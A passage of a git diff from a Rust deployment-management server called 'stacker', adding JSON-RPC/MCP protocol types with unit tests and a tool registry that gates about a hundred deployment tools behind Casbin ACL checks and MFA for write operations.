std::net::TcpListener; +use std::time::Duration; + +#[actix_web::main] +async fn main() -> std::io::Result<()> { + // Display banner + banner::print_banner(); + + let subscriber = get_subscriber("stacker".into(), "info".into()); + init_subscriber(subscriber); + + let settings = get_configuration().expect("Failed to read configuration."); + + tracing::info!( + db_host = %settings.database.host, + db_port = settings.database.port, + db_name = %settings.database.database_name, + "Connecting to PostgreSQL" + ); + + let connect_options = PgConnectOptions::new() + .host(&settings.database.host) + .port(settings.database.port) + .username(&settings.database.username) + .password(&settings.database.password) + .database(&settings.database.database_name) + .ssl_mode(PgSslMode::Disable); + + // API Pool: For regular user requests (authentication, projects, etc.) + // Moderate size, fast timeout - these should be quick queries + let api_pool = PgPoolOptions::new() + .max_connections(30) + .min_connections(5) + .acquire_timeout(Duration::from_secs(5)) // Fail fast if pool exhausted + .idle_timeout(Duration::from_secs(600)) + .max_lifetime(Duration::from_secs(1800)) + .connect_with(connect_options.clone()) + .await + .expect("Failed to connect to database (API pool)."); + + tracing::info!( + max_connections = 30, + min_connections = 5, + acquire_timeout_secs = 5, + "API connection pool initialized" + ); + + // Agent Pool: For agent long-polling and command operations + // Higher capacity to handle many concurrent agent connections + let agent_pool_raw = PgPoolOptions::new() + .max_connections(100) // Higher capacity for agent polling + .min_connections(10) + .acquire_timeout(Duration::from_secs(15)) // Slightly longer for agent ops + .idle_timeout(Duration::from_secs(300)) // Shorter idle timeout + .max_lifetime(Duration::from_secs(1800)) + .connect_with(connect_options) + .await + .expect("Failed to connect to database (Agent pool)."); + + let agent_pool = AgentPgPool::new(agent_pool_raw); + + tracing::info!( + max_connections = 100, + min_connections = 10, + acquire_timeout_secs = 15, + "Agent connection pool initialized" + ); + + let address = format!("{}:{}", settings.app_host, settings.app_port); + banner::print_startup_info(&settings.app_host, settings.app_port); + tracing::info!("Start server at {:?}", &address); + let listener = TcpListener::bind(address) + .unwrap_or_else(|_| panic!("failed to bind to {}", settings.app_port)); + + run(listener, api_pool, agent_pool, settings).await?.await +} diff --git a/stacker/stacker/src/mcp/mod.rs b/stacker/stacker/src/mcp/mod.rs new file mode 100644 index 0000000..138dcfb --- /dev/null +++ b/stacker/stacker/src/mcp/mod.rs @@ -0,0 +1,12 @@ +pub mod protocol; +#[cfg(test)] +mod protocol_tests; +pub mod registry; +pub mod session; +pub mod tools; +pub mod websocket; + +pub use protocol::*; +pub use registry::{ToolContext, ToolHandler, ToolRegistry}; +pub use session::McpSession; +pub use websocket::mcp_websocket; diff --git a/stacker/stacker/src/mcp/protocol.rs b/stacker/stacker/src/mcp/protocol.rs new file mode 100644 index 0000000..1700d43 --- /dev/null +++ b/stacker/stacker/src/mcp/protocol.rs @@ -0,0 +1,237 @@ +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +use crate::services::TypedErrorEnvelope; + +/// JSON-RPC 2.0 Request structure +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct JsonRpcRequest { + pub jsonrpc: String, // Must be "2.0" + #[serde(skip_serializing_if = "Option::is_none")] + pub id: Option, + pub method: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub params: Option, +} + +/// JSON-RPC 2.0 Response structure +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct JsonRpcResponse { + pub jsonrpc: String, // Must be "2.0" + #[serde(skip_serializing_if = "Option::is_none")] + pub id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub result: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub error: Option, +} + +impl JsonRpcResponse { + pub fn success(id: Option, result: Value) -> Self { + Self { + jsonrpc: "2.0".to_string(), + id, + result: Some(result), + error: None, + } + } + + pub fn error(id: Option, error: JsonRpcError) -> Self { + Self { + jsonrpc: "2.0".to_string(), + id, + result: None, + error: Some(error), + } + } +} + +/// JSON-RPC 2.0 Error structure +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct JsonRpcError { + pub code: i32, + pub message: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub data: Option, +} + +impl JsonRpcError { + pub fn parse_error() -> Self { + Self { + code: -32700, + message: "Parse error".to_string(), + data: None, + } + } + + pub fn invalid_request() -> Self { + Self { + code: -32600, + message: "Invalid Request".to_string(), + data: None, + } + } + + pub fn method_not_found(method: &str) -> Self { + Self { + code: -32601, + message: format!("Method not found: {}", method), + data: None, + } + } + + pub fn invalid_params(msg: &str) -> Self { + Self { + code: -32602, + message: "Invalid params".to_string(), + data: Some(serde_json::json!({ "error": msg })), + } + } + + pub fn internal_error(msg: &str) -> Self { + Self { + code: -32603, + message: "Internal error".to_string(), + data: Some(serde_json::json!({ "error": msg })), + } + } + + pub fn custom(code: i32, message: String, data: Option) -> Self { + Self { + code, + message, + data, + } + } +} + +// MCP-specific types + +/// MCP Tool definition +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Tool { + pub name: String, + pub description: String, + #[serde(rename = "inputSchema")] + pub input_schema: Value, // JSON Schema for parameters +} + +/// Response for tools/list method +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolListResponse { + pub tools: Vec, +} + +/// Request for tools/call method +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CallToolRequest { + pub name: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub arguments: Option, +} + +/// Response for tools/call method +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CallToolResponse { + pub content: Vec, + #[serde(rename = "isError", skip_serializing_if = "Option::is_none")] + pub is_error: Option, +} + +impl CallToolResponse { + pub fn text(text: String) -> Self { + Self { + content: vec![ToolContent::Text { text }], + is_error: None, + } + } + + pub fn error(text: String) -> Self { + Self { + content: vec![ToolContent::Text { text }], + is_error: Some(true), + } + } + + pub fn typed_error(error: TypedErrorEnvelope) -> Self { + Self { + content: vec![ToolContent::Text { + text: error.to_pretty_json(), + }], + is_error: Some(true), + } + } +} + +/// Tool execution result content +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(tag = "type")] +pub enum ToolContent { + #[serde(rename = "text")] + Text { text: String }, + #[serde(rename = "image")] + Image { + data: String, // base64 encoded + #[serde(rename = "mimeType")] + mime_type: String, + }, +} + +/// MCP Initialize request parameters +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct InitializeParams { + #[serde(rename = "protocolVersion")] + pub protocol_version: String, + pub capabilities: ClientCapabilities, + #[serde(rename = "clientInfo", skip_serializing_if = "Option::is_none")] + pub client_info: Option, +} + +/// Client information +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ClientInfo { + pub name: String, + pub version: String, +} + +/// Client capabilities +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ClientCapabilities { + #[serde(skip_serializing_if = "Option::is_none")] + pub experimental: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub sampling: Option, +} + +/// MCP Initialize response +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct InitializeResult { + #[serde(rename = "protocolVersion")] + pub protocol_version: String, + pub capabilities: ServerCapabilities, + #[serde(rename = "serverInfo")] + pub server_info: ServerInfo, +} + +/// Server capabilities +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ServerCapabilities { + #[serde(skip_serializing_if = "Option::is_none")] + pub tools: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub experimental: Option, +} + +/// Tools capability +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolsCapability { + #[serde(rename = "listChanged", skip_serializing_if = "Option::is_none")] + pub list_changed: Option, +} + +/// Server information +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ServerInfo { + pub name: String, + pub version: String, +} diff --git a/stacker/stacker/src/mcp/protocol_tests.rs b/stacker/stacker/src/mcp/protocol_tests.rs new file mode 100644 index 0000000..a9255c5 --- /dev/null +++ b/stacker/stacker/src/mcp/protocol_tests.rs @@ -0,0 +1,170 @@ +#[cfg(test)] +mod tests { + use crate::mcp::{ + CallToolRequest, CallToolResponse, InitializeParams, InitializeResult, JsonRpcError, + JsonRpcRequest, JsonRpcResponse, ServerCapabilities, ServerInfo, Tool, ToolContent, + ToolsCapability, + }; + use crate::services::TypedErrorEnvelope; + + #[test] + fn test_json_rpc_request_deserialize() { + let json = r#"{ + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": {"test": "value"} + }"#; + + let req: JsonRpcRequest = serde_json::from_str(json).unwrap(); + assert_eq!(req.jsonrpc, "2.0"); + assert_eq!(req.method, "initialize"); + assert!(req.params.is_some()); + } + + #[test] + fn test_json_rpc_response_success() { + let response = JsonRpcResponse::success( + Some(serde_json::json!(1)), + serde_json::json!({"result": "ok"}), + ); + + assert_eq!(response.jsonrpc, "2.0"); + assert!(response.result.is_some()); + assert!(response.error.is_none()); + } + + #[test] + fn test_json_rpc_response_error() { + let response = JsonRpcResponse::error( + Some(serde_json::json!(1)), + JsonRpcError::method_not_found("test_method"), + ); + + assert_eq!(response.jsonrpc, "2.0"); + assert!(response.result.is_none()); + assert!(response.error.is_some()); + + let error = response.error.unwrap(); + assert_eq!(error.code, -32601); + assert!(error.message.contains("test_method")); + } + + #[test] + fn test_json_rpc_error_codes() { + assert_eq!(JsonRpcError::parse_error().code, -32700); + assert_eq!(JsonRpcError::invalid_request().code, -32600); + assert_eq!(JsonRpcError::method_not_found("test").code, -32601); + assert_eq!(JsonRpcError::invalid_params("test").code, -32602); + assert_eq!(JsonRpcError::internal_error("test").code, -32603); + } + + #[test] + fn test_tool_schema() { + let tool = Tool { + name: "test_tool".to_string(), + description: "A test tool".to_string(), + input_schema: serde_json::json!({ + "type": "object", + "properties": { + "param1": { "type": "string" } + } + }), + }; + + assert_eq!(tool.name, "test_tool"); + assert_eq!(tool.description, "A test tool"); + } + + #[test] + fn test_call_tool_request_deserialize() { + let json = r#"{ + "name": "create_project", + "arguments": {"name": "Test Project"} + }"#; + + let req: CallToolRequest = serde_json::from_str(json).unwrap(); + assert_eq!(req.name, "create_project"); + assert!(req.arguments.is_some()); + } + + #[test] + fn test_call_tool_response() { + let response = CallToolResponse::text("Success".to_string()); + + assert_eq!(response.content.len(), 1); + assert!(response.is_error.is_none()); + + match &response.content[0] { + ToolContent::Text { text } => assert_eq!(text, "Success"), + _ => panic!("Expected text content"), + } + } + + #[test] + fn test_call_tool_response_error() { + let response = CallToolResponse::error("Failed".to_string()); + + assert_eq!(response.content.len(), 1); + assert_eq!(response.is_error, Some(true)); + } + + #[test] + fn test_call_tool_response_typed_error() { + let response = CallToolResponse::typed_error(TypedErrorEnvelope::deployment_not_found( + "Deployment not found", + )); + + assert_eq!(response.content.len(), 1); + assert_eq!(response.is_error, Some(true)); + + match &response.content[0] { + ToolContent::Text { text } => { + assert!(text.contains("deployment_not_found")); + assert!(text.contains("schemaVersion")); + } + _ => panic!("Expected text content"), + } + } + + #[test] + fn test_initialize_params_deserialize() { + let json = r#"{ + "protocolVersion": "2024-11-05", + "capabilities": {}, + "clientInfo": { + "name": "test-client", + "version": "1.0.0" + } + }"#; + + let params: InitializeParams = serde_json::from_str(json).unwrap(); + assert_eq!(params.protocol_version, "2024-11-05"); + assert!(params.client_info.is_some()); + + let client_info = params.client_info.unwrap(); + assert_eq!(client_info.name, "test-client"); + assert_eq!(client_info.version, "1.0.0"); + } + + #[test] + fn test_initialize_result_serialize() { + let result = InitializeResult { + protocol_version: "2024-11-05".to_string(), + capabilities: ServerCapabilities { + tools: Some(ToolsCapability { + list_changed: Some(false), + }), + experimental: None, + }, + server_info: ServerInfo { + name: "stacker-mcp".to_string(), + version: "0.2.0".to_string(), + }, + }; + + let json = serde_json::to_string(&result).unwrap(); + assert!(json.contains("stacker-mcp")); + assert!(json.contains("2024-11-05")); + } +} diff --git a/stacker/stacker/src/mcp/registry.rs b/stacker/stacker/src/mcp/registry.rs new file mode 100644 index 0000000..6ba32fc --- /dev/null +++ b/stacker/stacker/src/mcp/registry.rs @@ -0,0 +1,640 @@ +use crate::configuration::Settings; +use crate::models; +use actix_casbin_auth::{ + casbin::{CoreApi, Error as CasbinError}, + CasbinService, +}; +use actix_web::web; +use async_trait::async_trait; +use serde_json::Value; +use sqlx::PgPool; +use std::collections::HashMap; +use std::sync::Arc; + +use super::protocol::{Tool, ToolContent}; +use crate::mcp::tools::{ + ActivatePipeTool, + AddAppToDeploymentTool, + AddCloudTool, + AdminApproveTemplateTool, + AdminGetTemplateDetailTool, + AdminListSubmittedTemplatesTool, + AdminListTemplateReviewsTool, + AdminListTemplateVersionsTool, + AdminRejectTemplateTool, + AdminValidateTemplateSecurityTool, + ApplyDeploymentPlanTool, + ApplyVaultConfigTool, + CancelDeploymentTool, + CloneProjectTool, + ConfigureFirewallFromRoleTool, + // Firewall tools + ConfigureFirewallTool, + // Agent Control tools + ConfigureProxyAgentTool, + ConfigureProxyTool, + CreatePipeInstanceTool, + CreatePipeTemplateTool, + CreateProjectAppTool, + CreateProjectTool, + DeactivatePipeTool, + DeleteAppEnvVarTool, + DeleteCloudTool, + DeleteProjectTool, + DeleteProxyTool, + DeleteRemoteServiceSecretTool, + // Ansible Roles tools + DeployAppTool, + DeployRoleTool, + DiagnoseDeploymentTool, + DiscoverStackServicesTool, + EscalateToSupportTool, + // Agent Control tools + ExecuteAgentCommandTool, + ExplainEnvTool, + ExplainTopologyTool, + GetAgentCommandHistoryTool, + GetAgentStatusTool, + GetAnsibleRoleDefaultsTool, + GetAppConfigTool, + // Phase 5: App Configuration tools + GetAppEnvVarsTool, + GetCloudTool, + GetContainerExecTool, + GetContainerHealthTool, + GetContainerLogsTool, + GetDeploymentEventsTool, + GetDeploymentPlanTool, + GetDeploymentResourcesTool, + GetDeploymentStateTool, + GetDeploymentStatusTool, + GetDockerComposeYamlTool, + GetErrorSummaryTool, + GetInstallationDetailsTool, + GetLiveChatInfoTool, + GetNotificationsTool, + GetPipeHistoryTool, + GetPipeTool, + GetProjectTool, + GetRemoteServiceSecretTool, + GetRoleDetailsTool, + GetRoleRequirementsTool, + GetServerResourcesTool, + GetSubscriptionPlanTool, + GetUserProfileTool, + // Phase 5: Vault Configuration tools + GetVaultConfigTool, + InitiateDeploymentTool, + ListAvailableRolesTool, + ListCloudImagesTool, + ListCloudRegionsTool, + ListCloudServerSizesTool, + ListCloudsTool, + ListContainersTool, + ListFirewallRulesTool, + ListInstallationsTool, + ListPipeTemplatesTool, + ListPipesTool, + ListProjectAppsTool, + ListProjectsTool, + ListProxiesTool, + ListRemoteSecretTargetsTool, + ListRemoteServiceSecretsTool, + ListTemplatesTool, + ListVaultConfigsTool, + MarkAllNotificationsReadTool, + MarkNotificationReadTool, + PreviewInstallConfigTool, + // Stack Recommendations + RecommendStackServicesTool, + RemoveAppTool, + RenderAnsibleTemplateTool, + ReplayPipeExecutionTool, + RequestServerSnapshotTool, + RestartContainerTool, + SearchApplicationsTool, + SearchMarketplaceTemplatesTool, + SetAppEnvVarTool, + SetRemoteServiceSecretTool, + SetVaultConfigTool, + StartContainerTool, + StartDeploymentTool, + // Phase 5: Container Operations tools + StopContainerTool, + SuggestResourcesTool, + TriggerPipeTool, + TriggerRedeployTool, + UpdateAppDomainTool, + UpdateAppPortsTool, + ValidateDomainTool, + ValidateRoleVarsTool, + // Phase 5: Stack Validation tool + ValidateStackConfigTool, +}; + +/// Context passed to tool handlers +pub struct ToolContext { + pub user: Arc, + pub pg_pool: PgPool, + pub settings: web::Data, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ToolAccessPolicy { + pub object: String, + pub action: &'static str, + pub requires_mfa: bool, +} + +const MCP_TOOL_ACTION: &str = "CALL"; + +const MFA_REQUIRED_TOOLS: &[&str] = &[ + "create_project", + "create_project_app", + "start_deployment", + "cancel_deployment", + "apply_deployment_plan", + "add_cloud", + "delete_cloud", + "request_server_snapshot", + "delete_project", + "clone_project", + "mark_notification_read", + "mark_all_notifications_read", + "initiate_deployment", + "trigger_redeploy", + "add_app_to_deployment", + "restart_container", + "escalate_to_support", + "stop_container", + "start_container", + "set_app_env_var", + "delete_app_env_var", + "update_app_ports", + "update_app_domain", + "set_vault_config", + "apply_vault_config", + "configure_proxy", + "delete_proxy", + "set_remote_service_secret", + "delete_remote_service_secret", + "get_container_exec", + "admin_approve_template", + "admin_reject_template", + "admin_validate_template_security", + "deploy_role", + "deploy_app", + "remove_app", + "configure_proxy_agent", + "configure_firewall", + "configure_firewall_from_role", + "execute_agent_command", + "create_pipe_template", + "create_pipe_instance", + "replay_pipe_execution", + "activate_pipe", + "deactivate_pipe", + "trigger_pipe", +]; + +/// Trait for tool handlers +#[async_trait] +pub trait ToolHandler: Send + Sync { + /// Execute the tool with given arguments + async fn execute(&self, args: Value, context: &ToolContext) -> Result; + + /// Return the tool schema definition + fn schema(&self) -> Tool; +} + +/// Tool registry managing all available MCP tools +pub struct ToolRegistry { + handlers: HashMap>, +} + +impl ToolRegistry { + /// Create a new tool registry with all handlers registered + pub fn new() -> Self { + let mut registry = Self { + handlers: HashMap::new(), + }; + + // Project management tools + registry.register("list_projects", Box::new(ListProjectsTool)); + registry.register("get_project", Box::new(GetProjectTool)); + registry.register("create_project", Box::new(CreateProjectTool)); + registry.register("create_project_app", Box::new(CreateProjectAppTool)); + + // Template & discovery tools + registry.register("suggest_resources", Box::new(SuggestResourcesTool)); + registry.register("list_templates", Box::new(ListTemplatesTool)); + registry.register("validate_domain", Box::new(ValidateDomainTool)); + + // Phase 3: Deployment tools + registry.register("get_deployment_status", Box::new(GetDeploymentStatusTool)); + registry.register("get_deployment_state", Box::new(GetDeploymentStateTool)); + registry.register("get_deployment_plan", Box::new(GetDeploymentPlanTool)); + registry.register("get_deployment_events", Box::new(GetDeploymentEventsTool)); + registry.register("apply_deployment_plan", Box::new(ApplyDeploymentPlanTool)); + registry.register("explain_env", Box::new(ExplainEnvTool)); + registry.register("explain_topology", Box::new(ExplainTopologyTool)); + registry.register("start_deployment", Box::new(StartDeploymentTool)); + registry.register("cancel_deployment", Box::new(CancelDeploymentTool)); + + // Phase 3: Cloud tools + registry.register("list_clouds", Box::new(ListCloudsTool)); + registry.register("get_cloud", Box::new(GetCloudTool)); + registry.register("add_cloud", Box::new(AddCloudTool)); + registry.register("delete_cloud", Box::new(DeleteCloudTool)); + registry.register("list_cloud_regions", Box::new(ListCloudRegionsTool)); + registry.register( + "list_cloud_server_sizes", + Box::new(ListCloudServerSizesTool), + ); + registry.register("list_cloud_images", Box::new(ListCloudImagesTool)); + registry.register( + "request_server_snapshot", + Box::new(RequestServerSnapshotTool), + ); + + // Phase 3: Project management + registry.register("delete_project", Box::new(DeleteProjectTool)); + registry.register("clone_project", Box::new(CloneProjectTool)); + + // Phase 4: User & Account tools (AI Integration) + registry.register("get_user_profile", Box::new(GetUserProfileTool)); + registry.register("get_subscription_plan", Box::new(GetSubscriptionPlanTool)); + registry.register("list_installations", Box::new(ListInstallationsTool)); + registry.register( + "get_installation_details", + Box::new(GetInstallationDetailsTool), + ); + registry.register("search_applications", Box::new(SearchApplicationsTool)); + registry.register( + "search_marketplace_templates", + Box::new(SearchMarketplaceTemplatesTool), + ); + registry.register("get_notifications", Box::new(GetNotificationsTool)); + registry.register("mark_notification_read", Box::new(MarkNotificationReadTool)); + registry.register( + "mark_all_notifications_read", + Box::new(MarkAllNotificationsReadTool), + ); + registry.register("initiate_deployment", Box::new(InitiateDeploymentTool)); + registry.register("trigger_redeploy", Box::new(TriggerRedeployTool)); + registry.register("add_app_to_deployment", Box::new(AddAppToDeploymentTool)); + + // Phase 4: Monitoring & Logs tools (AI Integration) + registry.register("get_container_logs", Box::new(GetContainerLogsTool)); + registry.register("get_container_health", Box::new(GetContainerHealthTool)); + registry.register("list_containers", Box::new(ListContainersTool)); + registry.register("restart_container", Box::new(RestartContainerTool)); + registry.register("diagnose_deployment", Box::new(DiagnoseDeploymentTool)); + + // Phase 4: Support & Escalation tools (AI Integration) + registry.register("escalate_to_support", Box::new(EscalateToSupportTool)); + registry.register("get_live_chat_info", Box::new(GetLiveChatInfoTool)); + + // Phase 5: Container Operations tools (Agent-Based Deployment) + registry.register("stop_container", Box::new(StopContainerTool)); + registry.register("start_container", Box::new(StartContainerTool)); + registry.register("get_error_summary", Box::new(GetErrorSummaryTool)); + + // Phase 5: App Configuration Management tools + registry.register("get_app_env_vars", Box::new(GetAppEnvVarsTool)); + registry.register("set_app_env_var", Box::new(SetAppEnvVarTool)); + registry.register("delete_app_env_var", Box::new(DeleteAppEnvVarTool)); + registry.register("get_app_config", Box::new(GetAppConfigTool)); + registry.register("update_app_ports", Box::new(UpdateAppPortsTool)); + registry.register("update_app_domain", Box::new(UpdateAppDomainTool)); + registry.register("preview_install_config", Box::new(PreviewInstallConfigTool)); + registry.register( + "get_ansible_role_defaults", + Box::new(GetAnsibleRoleDefaultsTool), + ); + registry.register( + "render_ansible_template", + Box::new(RenderAnsibleTemplateTool), + ); + + // Phase 5: Stack Validation tool + registry.register("validate_stack_config", Box::new(ValidateStackConfigTool)); + + // Phase 6: Stack Service Discovery + registry.register( + "discover_stack_services", + Box::new(DiscoverStackServicesTool), + ); + + // Phase 6: Vault Configuration tools + registry.register("get_vault_config", Box::new(GetVaultConfigTool)); + registry.register("set_vault_config", Box::new(SetVaultConfigTool)); + registry.register("list_vault_configs", Box::new(ListVaultConfigsTool)); + registry.register("apply_vault_config", Box::new(ApplyVaultConfigTool)); + + // Phase 6: Proxy Management tools (Nginx Proxy Manager) + registry.register("configure_proxy", Box::new(ConfigureProxyTool)); + registry.register("delete_proxy", Box::new(DeleteProxyTool)); + registry.register("list_proxies", Box::new(ListProxiesTool)); + + // Phase 6: Project Resource Discovery tools + registry.register("list_project_apps", Box::new(ListProjectAppsTool)); + registry.register( + "get_deployment_resources", + Box::new(GetDeploymentResourcesTool), + ); + + // Vault-backed remote service secrets + registry.register( + "list_remote_secret_targets", + Box::new(ListRemoteSecretTargetsTool), + ); + registry.register( + "list_remote_service_secrets", + Box::new(ListRemoteServiceSecretsTool), + ); + registry.register( + "get_remote_service_secret", + Box::new(GetRemoteServiceSecretTool), + ); + registry.register( + "set_remote_service_secret", + Box::new(SetRemoteServiceSecretTool), + ); + registry.register( + "delete_remote_service_secret", + Box::new(DeleteRemoteServiceSecretTool), + ); + + // Pipe tools + registry.register("list_pipes", Box::new(ListPipesTool)); + registry.register("get_pipe", Box::new(GetPipeTool)); + registry.register("list_pipe_templates", Box::new(ListPipeTemplatesTool)); + registry.register("create_pipe_template", Box::new(CreatePipeTemplateTool)); + registry.register("create_pipe_instance", Box::new(CreatePipeInstanceTool)); + registry.register("get_pipe_history", Box::new(GetPipeHistoryTool)); + registry.register("replay_pipe_execution", Box::new(ReplayPipeExecutionTool)); + registry.register("activate_pipe", Box::new(ActivatePipeTool)); + registry.register("deactivate_pipe", Box::new(DeactivatePipeTool)); + registry.register("trigger_pipe", Box::new(TriggerPipeTool)); + + // Phase 7: Advanced Monitoring & Troubleshooting tools + registry.register( + "get_docker_compose_yaml", + Box::new(GetDockerComposeYamlTool), + ); + registry.register("get_server_resources", Box::new(GetServerResourcesTool)); + registry.register("get_container_exec", Box::new(GetContainerExecTool)); + + // Marketplace Admin tools (admin role required) + registry.register( + "admin_list_submitted_templates", + Box::new(AdminListSubmittedTemplatesTool), + ); + registry.register( + "admin_get_template_detail", + Box::new(AdminGetTemplateDetailTool), + ); + registry.register("admin_approve_template", Box::new(AdminApproveTemplateTool)); + registry.register("admin_reject_template", Box::new(AdminRejectTemplateTool)); + registry.register( + "admin_list_template_versions", + Box::new(AdminListTemplateVersionsTool), + ); + registry.register( + "admin_list_template_reviews", + Box::new(AdminListTemplateReviewsTool), + ); + registry.register( + "admin_validate_template_security", + Box::new(AdminValidateTemplateSecurityTool), + ); + + // Ansible Roles tools (SSH deployment method) + registry.register("list_available_roles", Box::new(ListAvailableRolesTool)); + registry.register("get_role_details", Box::new(GetRoleDetailsTool)); + registry.register("get_role_requirements", Box::new(GetRoleRequirementsTool)); + registry.register("validate_role_vars", Box::new(ValidateRoleVarsTool)); + registry.register("deploy_role", Box::new(DeployRoleTool)); + + // Stack Recommendations + registry.register( + "recommend_stack_services", + Box::new(RecommendStackServicesTool), + ); + + // Agent Control tools (deploy/remove apps, proxy config, agent status) + registry.register("deploy_app", Box::new(DeployAppTool)); + registry.register("remove_app", Box::new(RemoveAppTool)); + registry.register("configure_proxy_agent", Box::new(ConfigureProxyAgentTool)); + registry.register("get_agent_status", Box::new(GetAgentStatusTool)); + registry.register( + "get_agent_command_history", + Box::new(GetAgentCommandHistoryTool), + ); + registry.register("execute_agent_command", Box::new(ExecuteAgentCommandTool)); + + // Firewall (iptables) management tools + registry.register("configure_firewall", Box::new(ConfigureFirewallTool)); + registry.register("list_firewall_rules", Box::new(ListFirewallRulesTool)); + registry.register( + "configure_firewall_from_role", + Box::new(ConfigureFirewallFromRoleTool), + ); + + registry + } + + /// Register a tool handler + pub fn register(&mut self, name: &str, handler: Box) { + self.handlers.insert(name.to_string(), handler); + } + + /// Get a tool handler by name + pub fn get(&self, name: &str) -> Option<&dyn ToolHandler> { + self.handlers.get(name).map(Box::as_ref) + } + + pub fn access_policy(&self, name: &str) -> Option { + self.has_tool(name).then(|| ToolAccessPolicy { + object: format!("/mcp/tools/{name}"), + action: MCP_TOOL_ACTION, + requires_mfa: MFA_REQUIRED_TOOLS.contains(&name), + }) + } + + pub async fn authorize_call( + &self, + name: &str, + user: &models::User, + casbin_service: CasbinService, + ) -> Result<(), String> { + let Some(policy) = self.access_policy(name) else { + return Err("Forbidden: MCP tool call has no registered ACL policy".to_string()); + }; + + let allowed = enforce_tool_policy(casbin_service, &user.role, &policy) + .await + .map_err(|err| format!("ACL check failed for MCP tool: {err}"))?; + + if !allowed { + return Err("Forbidden: MCP tool call is not allowed by ACL".to_string()); + } + + if policy.requires_mfa && !user.has_verified_mfa() { + return Err("Two-factor authentication is required for this MCP tool".to_string()); + } + + Ok(()) + } + + /// List all available tools + pub fn list_tools(&self) -> Vec { + self.handlers.values().map(|h| h.schema()).collect() + } + + /// Check if a tool exists + pub fn has_tool(&self, name: &str) -> bool { + self.handlers.contains_key(name) + } + + /// Get count of registered tools + pub fn count(&self) -> usize { + self.handlers.len() + } +} + +async fn enforce_tool_policy( + mut casbin_service: CasbinService, + role: &str, + policy: &ToolAccessPolicy, +) -> Result { + let enforcer = casbin_service.get_enforcer(); + let mut lock = enforcer.write().await; + lock.enforce_mut(vec![ + role.to_string(), + policy.object.to_string(), + policy.action.to_string(), + ]) +} + +impl Default for ToolRegistry { + fn default() -> Self { + Self::new() + } +} + +#[cfg(test)] +mod tests { + use super::ToolRegistry; + + #[test] + fn all_registered_tools_have_acl_policy() { + let registry = ToolRegistry::new(); + + for tool in registry.list_tools() { + let policy = registry + .access_policy(&tool.name) + .unwrap_or_else(|| panic!("{} should require policy", tool.name)); + + assert_eq!(policy.object, format!("/mcp/tools/{}", tool.name)); + assert_eq!(policy.action, "CALL"); + } + } + + #[test] + fn sensitive_write_tools_have_acl_and_mfa_policy() { + let registry = ToolRegistry::new(); + + let set_policy = registry + .access_policy("set_remote_service_secret") + .expect("set tool should require policy"); + assert_eq!(set_policy.object, "/mcp/tools/set_remote_service_secret"); + assert_eq!(set_policy.action, "CALL"); + assert!(set_policy.requires_mfa); + + let delete_policy = registry + .access_policy("delete_remote_service_secret") + .expect("delete tool should require policy"); + assert_eq!( + delete_policy.object, + "/mcp/tools/delete_remote_service_secret" + ); + assert_eq!(delete_policy.action, "CALL"); + assert!(delete_policy.requires_mfa); + + let vault_policy = registry + .access_policy("apply_vault_config") + .expect("vault config apply should require policy"); + assert!(vault_policy.requires_mfa); + + let deploy_policy = registry + .access_policy("deploy_app") + .expect("deploy app should require policy"); + assert!(deploy_policy.requires_mfa); + + let apply_plan_policy = registry + .access_policy("apply_deployment_plan") + .expect("deployment plan apply should require policy"); + assert!(apply_plan_policy.requires_mfa); + + let admin_validate_policy = registry + .access_policy("admin_validate_template_security") + .expect("admin security validation should require policy"); + assert!(admin_validate_policy.requires_mfa); + + let exec_policy = registry + .access_policy("execute_agent_command") + .expect("raw agent exec should require policy"); + assert!(exec_policy.requires_mfa); + + let activate_policy = registry + .access_policy("activate_pipe") + .expect("pipe activation should require policy"); + assert!(activate_policy.requires_mfa); + + let replay_policy = registry + .access_policy("replay_pipe_execution") + .expect("pipe replay should require policy"); + assert!(replay_policy.requires_mfa); + } + + #[test] + fn read_tools_have_acl_without_step_up_policy() { + let registry = ToolRegistry::new(); + + let list_policy = registry + .access_policy("list_remote_service_secrets") + .expect("list tool should require policy"); + assert_eq!(list_policy.object, "/mcp/tools/list_remote_service_secrets"); + assert!(!list_policy.requires_mfa); + + let get_policy = registry + .access_policy("get_remote_service_secret") + .expect("get tool should require policy"); + assert_eq!(get_policy.object, "/mcp/tools/get_remote_service_secret"); + assert!(!get_policy.requires_mfa); + + let history_policy = registry + .access_policy("get_agent_command_history") + .expect("history tool should require policy"); + assert_eq!( + history_policy.object, + "/mcp/tools/get_agent_command_history" + ); + assert!(!history_policy.requires_mfa); + + let list_pipes_policy = registry + .access_policy("list_pipes") + .expect("pipe list should require policy"); + assert_eq!(list_pipes_policy.object, "/mcp/tools/list_pipes"); + assert!(!list_pipes_policy.requires_mfa); + } + + #[test] + fn unknown_tools_have_no_policy() { + let registry = ToolRegistry::new(); + + assert!(registry.access_policy("unknown_tool").is_none()); + } +} diff --git a/stacker/stacker/src/mcp/session.rs b/stacker/stacker/src/mcp/session.rs new file mode 100644 index 0000000..55c443c --- /dev/null +++ b/stacker/stacker/src/mcp/session.rs @@ -0,0 +1,53 @@ +use serde_json::Value; +use std::collections::HashMap; + +/// MCP Session state management +#[derive(Debug, Clone)] +pub struct McpSession { + pub id: String, + pub created_at: chrono::DateTime, + pub context: HashMap, + pub initialized: bool, +} + +impl McpSession 